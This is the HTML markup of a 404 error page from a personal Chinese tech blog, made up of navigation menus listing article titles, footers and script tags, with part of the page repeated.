dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div class="w-full h-96 py-80 flex justify-center items-center">404 Not found.</div></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="py-4"></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
+<!DOCTYPE html><html lang="zh-CN"><head><title>Both Savage | 页面找不到啦</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="Notion, 博客"/><meta name="description" content="talk is cheap"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="Both Savage | 页面找不到啦"/><meta property="og:description" content="talk is cheap"/><meta property="og:url" content="https://bothsavage.github.io//undefined"/><meta property="og:image" content="https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="website"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="talk is cheap"/><meta name="twitter:title" content="Both Savage | 页面找不到啦"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta name="next-head-count" content="18"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/404-0962518ded3ddccb.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div class="w-full h-96 py-80 flex justify-center items-center">404 Not found.</div></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="py-4"></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div 